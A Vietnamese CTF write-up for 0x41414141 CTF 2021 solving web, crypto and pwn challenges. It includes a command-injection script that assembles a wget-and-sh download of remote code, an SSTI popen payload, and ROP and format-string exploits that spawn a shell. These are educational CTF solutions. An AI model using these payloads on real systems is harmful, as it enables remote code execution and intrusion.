Writeup | 0x41414141 CTF 2021 | Web + Pwn + Crypto

PHAPHA_JIàN
20:02 13/02/2021

Nhóm Wanna.One chia sẻ một số Challenges giải được và việc chia sẻ writeup nhằm mục đích giao lưu học thuật. Mọi đóng-góp ý-kiến bọn mình luôn-luôn tiếp nhận qua mail: wannaone.uit@gmail.com

WEB

author: n3mo

#HACKME

des của chall như sau, nó nói xạo á chứ mình test thì limit 5 char lận

tức là bài này ta có thể thực hiện command linux thoải mái với tối đa 5 character

bài này chôm idea từ 1 chall của anh da cam năm 2017

https://github.com/orangetw/My-CTF-Web-Challenges#babyfirst-revenge

mình giải thích ý tưởng như sau

sử dụng > để chuyển hướng output nhằm tạo file đồng thời lợi dụng \ nhằm ám chỉ câu lệnh đó chưa kết thúc để có thể ghép nhiều phần của câu lệnh lại

với đoạn command trên thì ta có thể tạo được lệnh ls -t >g sort file trong thư mục theo thời gian và cho vào file g

nếu ta tạo được lệnh đó thì liệu ta có thể tạo được 1 bash để rce thoải mái không?

câu trả lời là không, vì ls nó sort file mặc định theo thứ tự mã ascii nên ta sẽ không thể tái tạo được 1 số lệnh theo ý muốn

đoạn trên như là proof of work để mình thực hiện các lệnh tiếp theo,

dưới đây là script để solve bài này

 
import reimport requestsimport timefrom time import sleeppayload = [        r'>ls\\',     r'ls>_',     r'>\ \\',     r'>-t\\',     r'>\>g',     r'ls>>_',    r'>234'    r'>:1\\'    r'>99\\',    '>78\\',     '>56\\',     '>60\\',     '>21\\',     r'>\ \\',     '>et\\',     '>wg\\',     #r'>\>a',        # exec    r'sh _',     #r'sh g', ]requests.get("http://207.180.200.166:8000/?reset=1")for i in payload:    print("http://207.180.200.166:8000/?cmd="+i)    r=requests.get("http://207.180.200.166:8000/?cmd="+i)    sleep(0.5)r=requests.get("http://207.180.200.166:8000/?cmd=cat g")print(r.text)   

sau khi chạy file, lên trình duyệt run sh g

mặc dù nó trả về 500 error nhưng ta vẫn thấy có request tới tức là lệnh thực thi thành công.

  • Cách 2:

mình thử nl /* thì thấy server error nhưng khi thực hiện ls lại thì thấy xuất hiện một file mới là core, chắc cái này tác giả config sai nên bị bug chỗ này

đọc file core thì search thấy flag, tức là lệnh nl /* đã đọc toàn bộ hệ thống và cho vào file core :v

  • cách 3:
     

idea y chang cách 1 nhưng simple hơn đó là

ghi 1 file có tên là cat sau đó sử dụng file đó để đọc tệp :v

vì trong thư mục hiện tại chỉ có mỗi file tên là cat, nên khi * thì ta có thể call được lệnh cat ra

ez game

#MAZE

vào challange thì ta thấy một login page như sau

sau khi thử sqli thì mình không thấy vấn đề gì, tiếp theo thử robots.txt thì thấy 1 dir mới là /sup3rsecr37@p1
đây là một gui của graphql, buồn thay mình chưa sử dụng graphql lần nào, search một lúc thì mình cứ ném payload đại vô

mình thấy 1 cái đặc biệt là allTraders, nhìn qua các payload thì mình cũng biết sơ sơ truy vấn nó như thế nào

may thay gui này hỗ trợ cho mình như thế này

làm tiếp như thế 1 lúc ta sẽ được truy vấn như sau

ta có password và title, thử login vào trang lúc nãy

ngon, login thành công, bước tiếp theo mình tiếp tục fuzz

web có thêm 1 endpoint là trade, nhìn qua có vẻ giống sqli nên mình theo hướng sqli

mlem mlem, kiểu này thấy mùi server được code bằng python rồi

mà python thì thường đi với sqlite, nên mình cứ nhảy thẳng vào sqlite luôn

2 cột, oke chưa :v

chuẩn sqlite lun!

có table admin, select ra thôi ez game

ta có một endpoint là admin nên cứ thử login thôi

lul cứ tưởng done r ai ngờ :(

cần trôn u mình xem xét thì thấy.

có đoạn code sau trong script.js

var messages = [    'Hey there ?',    'I see you made it to the admin panel',    'but still you didn\'t escape the maze',    'get the flag and beat the maze',    getCurrentTime(),    'show me what you got ' + globalThis.name  ]

nhìn có vẻ nghi ngờ ở đây :v , mình tiếp tục nhìn vào cookie thì thấy

vậy chắc chắn lấy name từ cookie rồi render ra như thế

liên quan đến việc render thì nghĩ ngay tới SSTI, mà đã xác định ứng dụng sử dụng python nên thẳng tiến thôi.

để làm SSTI thì first step luôn luôn là detect để chắc chắn nó có phải là SSTI không

SSTI thì mình khá quen nên mình sẽ làm nhanh đoạn này

ở đây mình sử dụng os._wrap_close

payload mình dùng
 
[].__class__.__mro__[1].__subclasses__()[117].__init__.__globals__['popen']('ls').read()

đến đây ta đọc flag là end game.

Crypto

author: lttn

#factorize

Đề mình để ở đây

Ta thấy p và q đều được tạo ra bằng cách :

  • p = base(1024 bit) | random number (512 bit)
  • q = base(1024 bit) | random number (512 bit)

Vì base giống nhau khi tạo p và q -> 512 bit đầu của p và q sẽ giống nhau. Giá trị của p và q sẽ gần nhau nên mình dùng fermat factor để tính p và q

Solution của mình

#eazy RSA

Đề bài cho ta 4 giá trị c,e,p,q

Ta thấy e = 16 = 24

Hay nói cách khác flag được encrypt RSA 4 lần với số mũ là 2

Vậy nếu ta lấy căn bậc 2 của c modulo n 4 lần thì có thể tìm lại được flag

Để có thể tính căn bậc 2 của c mình dựa vào Rabin cryptosystem

Solution của mình

 

from Crypto.Util.number import *import itertoolsfrom gmpy2 import *c=3708354049649318175189820619077599798890688075815858391284996256924308912935262733471980964003143534200740113874286537588889431819703343015872364443921848e=16p=75000325607193724293694446403116223058337764961074929316352803137087536131383q=69376057129404174647351914434400429820318738947745593069596264646867332546443def square_root(c):	n=p*q	mp=pow(c,(p+1)//4,p)	mq=pow(c,(q+1)//4,q)	yp=int(gcdext(p,q)[1])	yq=int(gcdext(p,q)[2])	r1=(yp*p*mq+yq*q*mp)%n	r2=(yp*p*mq-yq*q*mp)%n	return list((r1,n-r1,r2,n-r2))	def solve(arr):	tmp=[]	for i in arr:		tmp.append(square_root(i))	return list(itertools.chain.from_iterable(tmp))tmp=square_root(c)for i in range(4):	arr=tmp	tmp=(solve(arr))for i in arr:	if b'flag' in long_to_bytes(i):		print(long_to_bytes(i))		break				

#Staple AES

Đề bài được để ở đây

Mỗi cần connect server trẻ trả về cho chúng ta 1 đoạn cipher

Phân tích 1 chút :

Server trả về 48 bytes – > flag có 3 block -> len(flag) = 33

Từ đây ta có thể suy ra block cuối cùng của flag là : b’}\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f’ ( mình đoán thế vì flag đa số kí tự cuối cùng là ‘}’ ?

Vậy giả sử block cuối cùng trong 1 lần connect nào đó được shuffle thành block đầu tiên , lúc này ta có thể tính được encrypt(IV) bằng cách lấy block cuối xor 16 bytes đầu tiên của cipher

Vậy nếu như các block khác cũng được shuffle thành block đầu tiên, ta cũng có thể dễ dàng tính được các block ấy bằng cách lấy encrypt(IV) xor 16 bytes đầu của cipher nên mình sẽ brute force để tìm lại flag

Solution của mình

from pwn import *ct=[]def byte_xor( ba1, ba2):        return bytes([_a ^ _b for _a, _b in zip(ba1, ba2)])for i in range(10):	p=connect('161.97.176.150' ,'3167')	rev=p.recvline().decode()[:-1]	rev=bytes.fromhex(rev)	if rev not in ct:		ct.append(rev)for cipher in ct:	block1=b'}' + bytes([15])*15	encryptIV=byte_xor(block1,cipher[0:16])	for i in ct:		print(byte_xor(encryptIV,i))	

#delegate wallet

Đề được để ở đây

Bài này ta có thể thoải mái generate new wallet seed và nếu như ta đoán được wallet seed tiếp theo thì sẽ có flag

Thật ra bài này tác giả đã hint sẵn trong source code : prng_lcg

Ta thấy :

Vậy :

Lúc này đã có m ta có thể dể dàng tính c:

Đã có m và c ta có thể tính được state tiếp theo và get flag ?

Solution ở đây

from pwn import *from Crypto.Util.number import *def next_state(arr):	n=pow(2, 607) -1 	m = (arr[2]-arr[1])* inverse(arr[1]-arr[0],n) % n	c = arr[1]-m*arr[0] % n	print(f"n: {n}")	print(f"m: {m}")	print(f"c: {c}")	return (arr[-1]*m+c)%n	p=connect('161.97.176.150','4008')rev=p.recvline()print(rev)rev=p.recvline()print(rev)states=[]for i in range(3):	p.sendline('1')	state=int(p.recvline()[2:-1].decode())	states.append(state)	print(f"state {i}: {state}")	rev=p.recvline()	rev=p.recvline()next_state=next_state(states)p.sendline('2')p.send(str(next_state))print(f"Next state: {next_state}")rev=p.recvline()print(rev.decode())

#Encrypt0r

Đây là 1 bài blackbox với dao diện như sau:

Đem long_to_bytes thử và tất nhiên là tạch :))) Dù biết trước sẽ tạch nhưng mình vẫn thử ?

Ta cần phải biết server encrypt thế nào trước đã mới có thể tính tiếp được ?

Sau 1 lúc mò mẫm thì mình phát hiện như sau:

Thử nhập 0 và 1 :

Mình đoán đây có thể là RSA, thử vài số thật lớn :

Có lẻ là RSA thật vì encrypt theo RSA thì c sẽ được mod n, ở đây mình nhập số lớn bao nhiu thì kết quả trả về cũng chỉ khoảng 200 bit nên mình sẽ đi theo hướng này ?

Nếu là RSA, vậy thì cái flag ở ban đầu có lẽ là c

Lúc này ta còn thiếu e và n

Ta thử nhập 2 xem sao

Chứng tỏ e cũng khá lớn , vì nếu e là các số nhỏ như 3,11,17,.. thì c đã không chạm tới được n. Vậy thì e chắc có lẽ sẽ là 65537

Việc còn lại là tìm n:

Gỉa giữ ta nhập 1 số m nào đó , lúc này :

Nếu ta nhập 2 được c1 và nhập 3 được c2:

265537 = c1 + i*n => i*n = 265537 – c1

365537 = c2 + j*n => j*n = 365537 – c2

=> n = gcd(i*n, j*n) = gcd(265537– c1, 365537 – c2)

Vì n cũng khá nhỏ nên quăng n vào factordb thì ta có được các thừa số của n

Lúc này chỉ cần tính như RSA bình thường

PWN

Author: Quasar


#moving-signals

Phân tích cơ bản:

file:

$ file moving-signalsmoving-signals: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, not stripped

checksec:

$ checksec  moving-signals    Arch:     amd64-64-little    RELRO:    No RELRO    Stack:    No canary found    NX:       NX disabled    PIE:      No PIE (0x40000)    RWX:      Has RWX segments

r2:

$ r2 moving-signals[0x00041000]> aaa[x] Analyze all flags starting with sym. and entry0 (aa)[x] Analyze function calls (aac)[x] Analyze len bytes of instructions for references (aar)[x] Check for objc references[x] Check for vtables[x] Type matching analysis for all functions (aaft)[x] Propagate noreturn information[x] Use -AA or aaaa to perform additional experimental analysis.[0x00041000]> afl0x00041000    1 24           entry0[0x00041000]> pdf entry0            ;-- section..shellcode:            ;-- segment.LOAD1:            ;-- .shellcode:            ;-- __start:            ;-- _start:            ;-- rip:┌ 24: entry0 ();│           0x00041000      48c7c7000000.  mov rdi, 0                  ; [01] -rwx section size 26 named .shellcode│           0x00041007      4889e6         mov rsi, rsp│           0x0004100a      4883ee08       sub rsi, 8│           0x0004100e      48c7c2f40100.  mov rdx, 0x1f4              ; 500│           0x00041015      0f05           syscall└           0x00041017      c3             ret[0x00041000]>

Qua công cụ r2 ta quan sát được luồng thực thi chính của chương trình. Quan sát các gadget.

Ropgadget:

$ ROPgadget  --binary moving-signalsGadgets information============================================================0x0000000000041013 : add byte ptr [rax], al ; syscall0x000000000004100f : mov edx, 0x1f4 ; syscall0x000000000004100e : mov rdx, 0x1f4 ; syscall0x000000000004100d : or byte ptr [rax - 0x39], cl ; ret 0x1f40x000000000004100c : out dx, al ; or byte ptr [rax - 0x39], cl ; ret 0x1f40x0000000000041018 : pop rax ; ret0x0000000000041017 : ret0x0000000000041010 : ret 0x1f40x0000000000041015 : syscallUnique gadgets found: 9

Vì có gadget pop rax ; ret nên ta có thể điều khiển được $rax. Mình sẽ sử dụng syscall rt_sigreturn ($rax = 0xf)

Ta sẽ đưa các fake frame vào stack và làm cho rt_sigreturn gọi syscall với các fake frame của ta. Fake frame:

Tìm địa chỉ của /bin/sh trong chương trình:

pwndbg> search /bin/shmoving-signals  0x41250 0x68732f6e69622f /* '/bin/sh' */pwndbg>

Đã có đầy đủ payload của chúng ta sẽ như sau: payload = b'A'*8 + pop_rax + 0xf +syscall + frame.

Get flag:

screenshot

File solve: exploit.py

#external

file challenge: external libc

Phân tích file:

file:

$ file externalexternal: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=06cea603bc177acf3effdea190ad8a3c88a2a7a0, for GNU/Linux 3.2.0, not stripped

checksec:

$ checksec  external    Arch:     amd64-64-little    RELRO:    Partial RELRO    Stack:    No canary found    NX:       NX enabled    PIE:      No PIE (0x400000)

Xem mã giả bằng IDA pro:

int __cdecl main(int argc, const char **argv, const char **envp){  char buf; // [rsp+0h] [rbp-50h]  puts("ROP me ;)");  printf("> ", argv);  read(0, &buf, 0xF0uLL);  clear_got(0LL, &buf);  return 0;}

Ta dễ dàng nhận thấy lỗi buffer overflow xảy ra ở hàm read, khi buf nằm ở offset $rbp-0x32 mà hàm read lại đọc đến 0xf0. Nhưng lưu ý trong chương trình có hàm clear_got. Quan sát xem hàm này làm gì với got(global offset table):

GOT trước khi hàm clear_got được gọi:

0x403ff8:       0x0000000000000000      0x0000000000403e100x404008:       0x00007ffff7ffe180      0x00007ffff7fe85e00x404018 <puts@got.plt>:        0x00007ffff7e64550      0x00007ffff7e6b4b00x404028 <printf@got.plt>:      0x00007ffff7e44c50      0x00000000004010660x404038 <alarm@got.plt>:       0x00007ffff7eb9270      0x00007ffff7edcde00x404048 <signal@got.plt>:      0x00007ffff7e29ac0      0x00000000000000000x404058:       0x0000000000000000      0x00007ffff7fad6a00x404068:       0x0000000000000000      0x00007ffff7fac9800x404078 <completed.0>: 0x0000000000000000      0x00000000000000000x404088:       0x0000000000000000      0x00000000000000000x404098:       0x0000000000000000      0x0000000000000000

GOT sau khi hàm clear_got được gọi:

0x403ff8:       0x0000000000000000      0x0000000000403e100x404008:       0x00007ffff7ffe180      0x00007ffff7fe85e00x404018 <puts@got.plt>:        0x0000000000000000      0x00000000000000000x404028 <printf@got.plt>:      0x0000000000000000      0x00000000000000000x404038 <alarm@got.plt>:       0x0000000000000000      0x00000000000000000x404048 <signal@got.plt>:      0x0000000000000000      0x00000000000000000x404058:       0x0000000000000000      0x00007ffff7fad6a00x404068:       0x0000000000000000      0x00007ffff7fac9800x404078 <completed.0>: 0x0000000000000000      0x0000000000000000

Quan sát got ta thấy rằng địa chỉ của các hàm libc trong main đã bị xóa. Nên nếu ta điều khiển chương trình quay lại hàm main hay nhảy đến 1 hàm đã bị xóa trong got thì chương trình sẽ bị crash.

Quan sát 2 địa chỉ nằm dưới got của signal:

pwndbg> x/x 0x00007ffff7fad6a00x7ffff7fad6a0 <_IO_2_1_stdout_>:       0x00000000fbad2887pwndbg> x/x 0x00007ffff7fac9800x7ffff7fac980 <_IO_2_1_stdin_>:        0x00000000fbad208b

Thì ra đây là địa chỉ của IO_2_1_stdoinIO_2_1_stdout.

Quan sát các gadget:

$ ROPgadget  --binary externalGadgets information============================================================              .....................0x00000000004011a2 : call qword ptr [rax + 0x4855c35d]0x0000000000401014 : call rax0x0000000000401183 : cli ; jmp 0x4011110x00000000004010d3 : cli ; ret0x000000000040130b : cli ; sub rsp, 8 ; add rsp, 8 ; ret0x0000000000401180 : endbr64 ; jmp 0x4011140x00000000004010d0 : endbr64 ; ret0x00000000004012dc : fisttp word ptr [rax - 0x7d] ; ret0x0000000000401042 : fisubr dword ptr [rdi] ; add byte ptr [rax], al ; push 1 ; jmp 0x4010290x00000000004010ce : hlt ; nop ; endbr64 ; ret0x0000000000401012 : je 0x401018 ; call rax0x00000000004010f7 : je 0x401107 ; mov edi, 0x404060 ; jmp rax0x0000000000401139 : je 0x40114f ; mov edi, 0x404060 ; jmp rax0x000000000040103b : jmp 0x4010200x0000000000401184 : jmp 0x4011100x00000000004010fe : jmp rax0x00000000004011d8 : ; ret0x00000000004010f9 : mov edi, 0x404060 ; jmp rax0x0000000000401270 : mov rax, 0xe7 ; syscall0x000000000040127c : mov rax, 1 ; syscall0x00000000004010cf : nop ; endbr64 ; ret0x00000000004011d7 : nop ; leave ; ret0x00000000004011a3 : nop ; pop rbp ; ret0x000000000040116f : nop ; ret0x0000000000401143 : nop dword ptr [rax + rax] ; ret0x000000000040117c : nop dword ptr [rax] ; endbr64 ; jmp 0x4011180x0000000000401142 : nop word ptr [rax + rax] ; ret0x0000000000401168 : or ebp, dword ptr [rdi] ; add byte ptr [rax], al ; add dword ptr [rbp - 0x3d], ebx ; nop ; ret0x000000000040127b : or ecx, dword ptr [rax - 0x39] ; rol byte ptr [rcx], 0 ; add byte ptr [rax], al ; syscall0x0000000000401273 : out 0, eax ; add byte ptr [rax], al ; syscall0x00000000004012ec : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret0x00000000004012ee : pop r13 ; pop r14 ; pop r15 ; ret0x00000000004012f0 : pop r14 ; pop r15 ; ret0x00000000004012f2 : pop r15 ; ret0x00000000004012eb : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret0x00000000004012ef : pop rbp ; pop r14 ; pop r15 ; ret0x000000000040116d : pop rbp ; ret0x00000000004012f3 : pop rdi ; ret0x00000000004012f1 : pop rsi ; pop r15 ; ret0x00000000004012ed : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret0x000000000040101a : ret0x0000000000401277 : syscall              ..................Unique gadgets found: 106

Mình đã lọc bớt gadget hiển thị ra để WU đỡ dài. Quan sát gadget ta thấy ta có thể điều khiển được thanh ghi $rax (giá trị =0 và = 1), $rdi, $rsi và cả $rbp và $rsp nữa :)) và 1 gadget quan trọng đó là syscall.

Ý tưởng khai thác:

payload đầu tiên:

Ý tưởng khai thác:

    payload = "A"*0x50    payload += p64(bss) # $rbp    """ Goi syscall read để ghi input vào bss"""    #payload += p64(func_rtc)    payload += p64(pop_rsi_pop_r15_ret)    payload += p64(bss)    payload += p64(0)    payload += p64(pop_rdi)    payload += p64(0)    payload += p64(systemcall)    """Goi syscall write để in ra addr"""    payload += p64(0x4012f1) # gadget pop rsi ; pop r15 ; ret    payload += p64(0x404060) # got cua  got_IO_2_1_stdout_    payload += p64(0)    payload += p64(pop_rdi)     payload += p64(1)    payload += p64(func_ws) # gadget mov rax, 1 ; syscall    """Gán eax = 0 cho lần gọi read tiếp theo"""    payload += p64(mov_eax_0_leave_ret)

payload thứ 2:

    payload = p64(0) # 8 byte giá trị bất kỳ ở đây    payload += p64(pop_rsi_pop_r15_ret)    payload += p64(bss+0x38) # tức ta sẽ ghi input nhập vào sau gadget syscall ở dưới     payload += p64(0)    payload += p64(pop_rdi)    payload += p64(0)    payload += p64(systemcall)

payload thứ 3:

Get flag:

screenshot

File solve: exploit.py

#the_pwn_inn

Phân tích file:

file:

$ file the_pwn_innthe_pwn_inn: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=14fc1c701ef6aaae7b503071e34cc157ca6a2fad, for GNU/Linux 3.2.0, not stripped

checksec:

$ checksec the_pwn_inn    Arch:     amd64-64-little    RELRO:    Partial RELRO    Stack:    Canary found    NX:       NX enabled    PIE:      No PIE (0x400000)

Xem mã giả bằng IDA pro:

// local variable allocation has failed, the output may be wrong!int __cdecl __noreturn main(int argc, const char **argv, const char **envp){  ignore_me_init_buffering(*(_QWORD *)&argc, argv, envp);  ignore_me_init_signal();  puts("Welcome to the pwn inn! We hope that you enjoy your stay. What's your name? ");  vuln();}

Hàm này không có gì bất thường, ta đi vào hàm vuln() được gọi trong hàm main:

void __noreturn vuln(){  char s; // [rsp+0h] [rbp-110h]  unsigned __int64 v1; // [rsp+108h] [rbp-8h]  v1 = __readfsqword(0x28u);  fgets(&s, 256, stdin);  printf("Welcome ", 256LL);  printf(&s);  exit(1);}

Ta có thể thấy khá rõ lỗi format string ở đây. Phía dưới là hàm exit(), nên khi chạy vào hàm vuln chương trình sẽ exit ngay. Vậy thì ta chỉ cần ghì đè got của exit() bằng addr của hàm main hay vuln thì ta đã giải quyết được việc exit ngay của chương trình.

Ý tưởng khai thác

leak libc:

Nhập vào chuỗi quen thuộc:

$ ./the_pwn_innWelcome to the pwn inn! We hope that you enjoy your stay. What's your name?AAAAAAAA.%p.%p.%p.%p.%p.%p.%p.%p.%pWelcome AAAAAAAA.0x7ffd5276ee30.(nil).(nil).0x7ffd527714b0.0x8.0x4141414141414141.0x252e70252e70252e.0x2e70252e70252e70.0x70252e70252e7025

Ta thấy được offset mà format sting trỏ vào chuỗi ta nhập vào là 6. Truyền got của 2 hàm mà ta muốn trỏ tới sau đó dùng %s ta sẽ leak được địa chỉ của 2 hàm libc đó.

payload = " -%8$s- "payload += " -%9$s- payload += p64(got_puts)payload += p64(got_fgets)

Mình hay tra libc ở https://libc.blukat.me/. Sau đó tải libc này về.

Lên shell:

Sử dụng công cụ one_gadget tìm gadget thích hợp:

$ one_gadget libc6_2.31-0ubuntu9.2_amd64.so0xe6e73 execve("/bin/sh", r10, r12)constraints:  [r10] == NULL || r10 == NULL  [r12] == NULL || r12 == NULL0xe6e76 execve("/bin/sh", r10, rdx)constraints:  [r10] == NULL || r10 == NULL  [rdx] == NULL || rdx == NULL0xe6e79 execve("/bin/sh", rsi, rdx)constraints:  [rsi] == NULL || rsi == NULL  [rdx] == NULL || rdx == NULL

Mình sử dụng gadget 0xe6e76. Sau đó ta cộng gadget này với libc base, mình ghì đè got exit bằng địa chỉ vừa cộng này -> lên shell.

Get flag:

screenshot

File solve: exploit.py
 

Cám ơn các bạn đã đọc!

 

TIN LIÊN QUAN
Sau 4 buổi học với đa dạng góc nhìn về đề tài, gợi mở nhiều kiến thức liên quan đến An toàn thông tin (ATTT), khoá huấn luyện WannaQuest.Q2023.02 đã tạo tiền đề cho nhiều sinh viên tham gia hiểu rõ hơn tầm quan trọng của việc tham gia nghiên...
Thông qua nhiều sự kiện, hoạt động học thuật sôi nổi, WannaQuest được đánh giá cao khi trở lại với mùa thứ 2 với khóa huấn luyện WannaQuest.Q2023.02, một nơi đã trở thành nơi kết nối, giao lưu, tiếp nhận kiến thức An toàn thông tin (ATTT) theo cách cởi...
WannaGame Weekly UTCTF, ångstromCTF, Grey Cat The Flag, ImaginaryCTF, SekaiCTF, Downunder CTF, TeamItaly CTF, CTFZone, Asis Final, SEETF, Bauhinia... UIT Honor dice, Real World, bi0s, Seccon, pbctf, Kalmarctf, hxp, Plaid, m-leCon, HackTM, p4ctf, justCTF, codegate, Google, zer0pts, Defcon, HITCON, Hack.lu, N1CTF, Brics+, 0CTF/TCTF, Balsn, RuCTF (AD), FAUST (AD), saarCTF (AD)......